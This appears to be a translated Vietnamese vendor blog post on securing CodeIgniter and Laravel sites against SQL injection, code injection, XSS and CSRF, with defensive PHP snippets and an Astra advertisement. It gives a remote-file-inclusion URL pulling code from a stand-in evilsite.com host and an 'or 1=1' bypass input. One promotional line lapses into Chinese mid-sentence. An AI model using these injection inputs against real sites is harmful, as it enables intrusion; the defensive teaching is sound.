Computer >> Hướng Dẫn Máy Tính >  >> Kết Nối Mạng >> An Ninh Mạng

Bảo mật CodeIgniter & Laravel: Xác định và vá các lỗ hổng phổ biến

Laravel và CodeIgniter đều là các framework PHP phổ biến được sử dụng để xây dựng trang web. Sự phổ biến của chúng cũng có thể được ghi nhận nhờ bản chất mã nguồn mở của cả hai framework. Tuy nhiên, người dùng cần hiểu rằng việc triển khai các trang web sử dụng các framework này không làm cho chúng an toàn. Đó là các thực hành phát triển bảo mật mới quan trọng. SQL Injection trong CodeIgniter và SQL Injection trong Laravel là hai chủ đề bảo mật phổ biến nhất trên các diễn đàn hỗ trợ. Ngoài SQLi, các thực hành phát triển không an toàn cũng làm cho trang web dễ bị tổn thương trước XSS, CSRF, tấn công RFI, v.v.

Ví dụ về trang web CodeIgniter và Laravel bị hack

Các tấn công như SQL Injection trong CodeIgniter hoặc Laravel có thể làm tổn thương trang web. Những tấn công này khá phổ biến và lan rộng. Do đó, có thể tìm thấy số lượng lớn người dùng gặp phải các tấn công tương tự đang nhờ giúp đỡ trên diễn đàn cộng đồng Laravel hoặc diễn đàn cộng đồng CodeIgniter. Một số ví dụ được đưa ra dưới đây.

Bảo mật CodeIgniter & Laravel: Xác định và vá các lỗ hổng phổ biến Bảo mật CodeIgniter & Laravel: Xác định và vá các lỗ hổng phổ biến

Triệu chứng của việc CodeIgniter hoặc Laravel bị hack

  • Các trang lừa đảo Laravel hoặc CodeIgniter được thiết kế để đánh cắp thông tin nhạy cảm xuất hiện trên trang web.
  • Người dùng phàn nàn về việc bị chuyển hướng đến các trang web độc hại.
  • Nội dung vô nghĩa xuất hiện trên trang Laravel hoặc CodeIgniter do hack từ khóa Nhật Bản hoặc hack Pharma, v.v.
  • Trang web Laravel hoặc CodeIgniter trở nên rất chậm và hiển thị thông báo lỗi.
  • Khi sử dụng hosting bên thứ ba, thông báo "Tài khoản của bạn đã bị tạm ngưng!" xuất hiện.
  • Trang Laravel hoặc CodeIgniter bị đưa vào danh sách đen bởi các công cụ tìm kiếm.
  • Nhật ký lỗi hiển thị một số tấn công như SQL Injection trong CodeIgniter trên trang web.
  • Nhật ký hiển thị đăng nhập vào trang web từ các địa chỉ IP từ xa.
  • Các quản trị viên mới lạ xuất hiện trong cơ sở dữ liệu đăng nhập.

Nguyên nhân gốc rễ của việc CodeIgniter hoặc Laravel bị hack

1) Hack CodeIgniter hoặc Laravel: Tấn công Injection

a) SQL Injection trong CodeIgniter hoặc Laravel

SQL Injection trong CodeIgniter là một tấn công rất phổ biến lan rộng trên web. Như tên gọi, tấn công này nhắm vào cơ sở dữ liệu của máy chủ. Khai thác SQL Injection trong CodeIgniter, kẻ tấn công có thể:

  • Lấy dữ liệu từ cơ sở dữ liệu.
  • Thay đổi nội dung cơ sở dữ liệu (bao gồm xóa toàn bộ cơ sở dữ liệu!)
  • Trong một số trường hợp, lấy được reverse shell.
  • Vượt qua xác thực bằng đầu vào như or 1=1.

b) PHP Code Injection trong CodeIgniter / Laravel

PHP Code Injection là một loại lỗ hổng phổ biến khác cho phép kẻ tấn công thực thi mã trên trang web Laravel/CodeIgniter. Tuy nhiên, nó khác với Command Injection ở chỗ kẻ tấn công chỉ có thể thực thi các lệnh của ngôn ngữ cụ thể đó. Command Injection cho phép kẻ tấn công thực thi lệnh qua reverse shell. Ví dụ, tham số dễ bị tổn thương có thể được cung cấp bằng đường dẫn đến tệp độc hại chứa mã PHP để thực thi, tức là https://testsite.com/?page=https://evilsite.com/evilcode.php

Tệp này có thể chứa các hàm như phpinfo() có thể được sử dụng để lấy thông tin.

2) Hack CodeIgniter hoặc Laravel: Cross-Site Scripting trong CodeIgniter / Laravel

Lỗ hổng XSS xảy ra trên trang web Laravel/CodeIgniter do thiếu làm sạch đầu vào. Cả hai framework đều có các hàm bảo mật được thiết kế đặc biệt để ngăn chặn các cuộc tấn công này. Khai thác tấn công XSS, kẻ tấn công có thể:

  • Lừa đảo người dùng để đánh cắp cookie và dữ liệu phiên nhạy cảm khác.
  • Chuyển hướng người dùng đến trang web độc hại.
  • Được sử dụng để vượt qua chính sách cùng nguồn (Same-Origin Policy).

3) Hack Laravel hoặc CodeIgniter: Cross-Site Request Forgery trong CodeIgniter / Laravel

Cuộc tấn công này nhằm mục đích lừa người dùng thực hiện các hành động không mong muốn. Tuy nhiên, loại tấn công này chỉ có thể được sử dụng để thao túng dữ liệu (xóa biểu mẫu, v.v.) chứ không để đánh cắp hoặc đọc chúng. Trong trường hợp xấu nhất, nếu nạn nhân là quản trị viên, toàn bộ ứng dụng có thể bị phá hủy. Cuộc tấn công này sử dụng các thủ thuật kỹ thuật xã hội để lừa nạn nhân nhấp vào liên kết thực thi các lệnh như xóa tài khoản ở chế độ nền.

Bảo mật CodeIgniter & Laravel: Xác định và vá các lỗ hổng phổ biến

Trang web CodeIgniter hoặc Laravel bị hack? Nhắn tin cho chúng tôi qua widget chat và chúng tôi sẽ rất乐意帮助您解决这个问题。立即修复我的 Laravel / CodeIgniter 网站被黑。

4) Bảo vệ trang web CodeIgniter / Laravel của bạn

Hack CodeIgniter hoặc Laravel: Ngăn chặn SQL Injection trong CodeIgniter

CodeIgniter đi kèm với hàng tá tính năng bảo mật. Một số trong số đó bao gồm các hàm và thư viện để ngăn chặn SQL Injection trong CodeIgniter. Trong bài viết này, tôi sẽ giải thích 3 phương pháp chính để thực hiện nhiệm vụ này một cách từng bước.

Hack CodeIgniter hoặc Laravel: Escape Query trong CodeIgniter

Escape dữ liệu trước khi gửi đến ứng dụng PHP sẽ làm sạch chúng. Do đó, đây là một thực hành an toàn cần được tuân thủ thường xuyên. Thậm chí escape query cũng có thể được thực hiện qua ba phương pháp:

  1. $this->db->escape(): xác định kiểu dữ liệu trước khi escape
  2. $this->db->escape_str(): không xác định kiểu dữ liệu, chỉ escape đơn giản.
  3. $this->db->escape_like_str(): Có thể sử dụng với các điều kiện LIKE.

Để làm rõ hơn, hãy xem đoạn mã dưới đây.

<?php
$email = $this->input->post('email');
$query = 'SELECT * FROM subscribers_tbl WHERE user_name ='. $this->db->escape($email);
$this->db->query($query);
?>

Trong mã này, hàm $this->db->escape() trước tiên xác định kiểu dữ liệu để chỉ escape dữ liệu chuỗi. Ngoài ra, nó tự động thêm dấu nháy đơn quanh dữ liệu đầu vào. Điều này ngăn chặn SQL Injection trong CodeIgniter.

Hack CodeIgniter hoặc Laravel: Query Binding trong CodeIgniter

Query Binding cũng có thể đơn giản hóa mã ngoài việc làm sạch đầu vào của trang web CodeIgniter. Phương pháp này cho phép hệ thống đặt câu hỏi truy vấn, giảm độ phức tạp cho nhà phát triển. Ví dụ, xem đoạn mã dưới đây.

<?php
$sql = "SELECT * FROM subscribers_tbl WHERE status =? AND email =?";
$this->db->query($sql, array('active', 'admin@wsxdn.com'));
?>

Ở đây, bạn có thể nhận thấy dấu hỏi trong dòng đầu tiên thay vì giá trị. Do query binding, các dấu hỏi này được thay thế bằng các giá trị từ mảng ở dòng thứ hai. Trong ví dụ trước, chúng ta đã thấy escape query thủ công, nhưng ở đây phương pháp này thực hiện tự động. Do đó ngăn chặn SQL Injection trong CodeIgniter.

Hack CodeIgniter hoặc Laravel: Active Record trong CodeIgniter

Tính năng Active Record của CodeIgniter cho phép chúng ta thực hiện các thao tác cơ sở dữ liệu với tối thiểu số dòng mã hoặc script. Vì đây là một hàm của chính hệ thống, escape query được thực hiện tự động. Ví dụ, tất cả dữ liệu của bảng có thể được truy xuất bằng một truy vấn đơn giản:

$query = $this->db->get('mytable');

Hack CodeIgniter hoặc Laravel: Ngăn chặn SQL Injection trong Laravel

Eloquent ORM của Laravel sử dụng PHP PDO parameter binding để làm sạch đầu vào người dùng, từ đó ngăn chặn Laravel SQL Injection. Parameter binding cũng tự động thêm dấu nháy, ngăn chặn đầu vào nguy hiểm như or 1=1 vượt qua xác thực.

$results = DB::select('select * from users where id =:id', ['id' => 1]);

Đây là một ví dụ triển khai named parameter binding trong Laravel.

Hack CodeIgniter hoặc Laravel: Ngăn chặn Cross-Site Scripting trong CodeIgniter

Để tránh các tấn công XSS tiềm ẩn, CodeIgniter đi kèm với bộ lọc XSS dựng sẵn. Trong trường hợp bộ lọc này gặp yêu cầu độc hại, nó sẽ chuyển đổi nó thành thực thể ký tự của nó, bảo vệ ứng dụng. Bộ lọc này có thể truy cập qua phương thức xss_clean():

$data = $this->security->xss_clean($data);

Tuy nhiên, kẻ tấn công đôi khi có thể chèn mã độc vào tệp hình ảnh. Để ngăn chặn các tấn công như vậy, bảo mật tệp tải lên cũng có thể được kiểm tra. Ví dụ, xem mã dưới đây.

if ($this->security->xss_clean($file, TRUE) === FALSE)
{
    // file failed the XSS test
}

Mã này sẽ trả về giá trị boolean True nếu hình ảnh an toàn và ngược lại. Tuy nhiên, lưu ý ở đây là khuyến khích sử dụng phương thức html_escape() nếu bạn muốn lọc các giá trị thuộc tính HTML.

Hack CodeIgniter hoặc Laravel: Ngăn chặn Cross-Site Scripting trong Laravel

Bằng cách sử dụng escape string, các tấn công XSS có thể được ngăn chặn trên trang web Laravel. Escape string sẽ ngăn chặn việc triển khai đầu vào trái phép. Tuy nhiên, lưu ý ở đây là trong các phiên bản Laravel > 5.1, tính năng này được bật theo mặc định. Do đó, khi đầu vào như sau: <div> {{$task->names}} </div> được cung cấp cho các phiên bản Laravel trên 5.1, ứng dụng sẽ không bị tổn thương do escape tự động query. Ngoài ra, giới hạn độ dài đầu vào do người dùng cung cấp cũng có thể ngăn chặn một số loại tấn công XSS và SQLi. Điều này có thể được thực hiện qua mã HTML dưới đây.

<input type="text" name="task" maxlength="10">

Điều tương tự có thể được triển khai qua hàm JS. Ngoài ra, cú pháp {% raw %} {{}} {% endraw %} trong Laravel có thể mặc định escape tất cả các thực thể HTML độc hại được truyền vào. Ngoài ra, một số thư viện được thiết kế đặc biệt cho nhiệm vụ này và có thể được sử dụng để ngăn chặn Laravel XSS. Nếu bạn sử dụng template engine như Blade, nó sẽ tự động sử dụng escaping để ngăn chặn các cuộc tấn công như vậy.

Hack CodeIgniter hoặc Laravel: Ngăn chặn tấn công CSRF trong CodeIgniter

Bảo vệ CSRF có thể được bật trong CodeIgniter bằng cách sửa đổi tệp application/config/config.php. Chỉ cần thêm mã sau vào tệp:

$config['csrf_protection'] = TRUE;

Đối với người dùng sử dụng Form Helper, hàm form_open() có thể mặc định chèn trường token CSRF ẩn vào các biểu mẫu. Cách khác để triển khai bảo vệ CSRF là sử dụng get_csrf_token_name() và get_csrf_hash(). Để tham khảo, xem hai đoạn mã dưới đây của một biểu mẫu và triển khai phía máy chủ.

$csrf = array(
    'name' => $this->security->get_csrf_token_name(),
    'hash' => $this->security->get_csrf_hash()
);
————————————————– ——————
<input type="hidden" name="<?= $csrf['name'];?>" value="<?= $csrf['hash'];?>" />

Regenerate token cũng là một thực hành an toàn khác để ngăn chặn tấn công CodeIgniter CSRF. Tuy nhiên, regenerate token có thể gây vấn đề vì người dùng có thể cần xác thực lại sau khi điều hướng đến các tab khác. Regenerate token có thể được thực hiện bằng tham số cấu hình sau:

$config['csrf_regenerate'] = TRUE;

Hack CodeIgniter hoặc Laravel: Ngăn chặn tấn công CSRF trong Laravel

Token được triển khai trong các biểu mẫu Laravel để bảo vệ khỏi tấn công CSRF. Các token này sau đó được gọi bằng cuộc gọi AJAX có thể được tìm thấy tích hợp trong mỗi biểu mẫu. Dữ liệu token yêu cầu được so khớp với những dữ liệu được lưu trữ trên máy chủ cho phiên của người dùng để kiểm tra bất thường. Token CSRF có thể được truyền cho các biểu mẫu bằng mã sau (triển khai blade template):

<form name="CSRF Implementation">
{!! csrf_field() !!}
<!– Other inputs may come here –>
</form>

Tuy nhiên, token CSRF có thể được thêm mặc định khi sử dụng gói LaravelCollective/HTML.

Hack CodeIgniter hoặc Laravel: Chặn báo cáo lỗi

Lỗi tệp hữu ích trong môi trường phát triển. Tuy nhiên, trên web, lỗi tệp CodeIgniter có thể tiết lộ thông tin nhạy cảm tiềm ẩn cho kẻ tấn công. Do đó, khuyến khích tắt báo cáo lỗi.

Lỗi PHP

Để tắt báo cáo lỗi PHP, sử dụng tệp index.php. Chỉ cần truyền 0 làm đối số cho hàm error_reporting(). Xem ví dụ dưới đây để tham khảo.

error_reporting(0);

Tuy nhiên, đối với CodeIgniter phiên bản 2.0.1 và cao hơn, hằng số môi trường trong tệp index.php có thể được đặt thành "production" để tắt đầu ra lỗi PHP.

Lỗi cơ sở dữ liệu

Lỗi cơ sở dữ liệu có thể được tắt bằng cách sửa đổi tệp application/config/database.php. Chỉ cần đặt tùy chọn db_debug thành FALSE. Xem ví dụ dưới đây để tham khảo:

$db['default']['db_debug'] = FALSE;

Ghi log lỗi

Một cách thông minh là chuyển các lỗi xảy ra vào tệp log, điều này sẽ ngăn chặn chúng hiển thị. Tùy chọn log_threshold trong tệp /config/config.php có thể được đặt thành 1 cho mục đích này. Xem ví dụ dưới đây.

$config['log_threshold'] = 1;

Sử dụng Web Application Firewall cho Laravel hoặc CodeIgniter

Ngay cả chuyên gia cũng có thể bỏ sót một số cài đặt có thể làm cho trang web Laravel/CodeIgniter dễ bị tổn thương. Ngoài ra, kẻ tấn công liên tục tìm ra những cách mới để xâm phạm trang web của bạn. Do đó, một thực hành an toàn khác là sử dụng tường lửa hoặc giải pháp bảo mật nào đó. Astra là một giải pháp bảo mật như vậy được thiết kế để đáp ứng các yêu cầu linh hoạt của bạn. Chỉ trả tiền cho những gì bạn sử dụng. Astra là giải pháp bảo mật sẵn sàng sử dụng với giá từ 9$ mỗi tháng. Nhắn tin cho chúng tôi và tiến gần hơn đến việc bảo mật mã PHP của bạn. Nhận demo ngay!

Bảo mật CodeIgniter & Laravel: Xác định và vá các lỗ hổng phổ biến

Astra cung cấp kiểm tra bảo mật toàn diện cho trang web Laravel hoặc CodeIgniter của bạn với hơn 80 bài kiểm tra chủ động, kết hợp tốt giữa kiểm tra thủ công và tự động.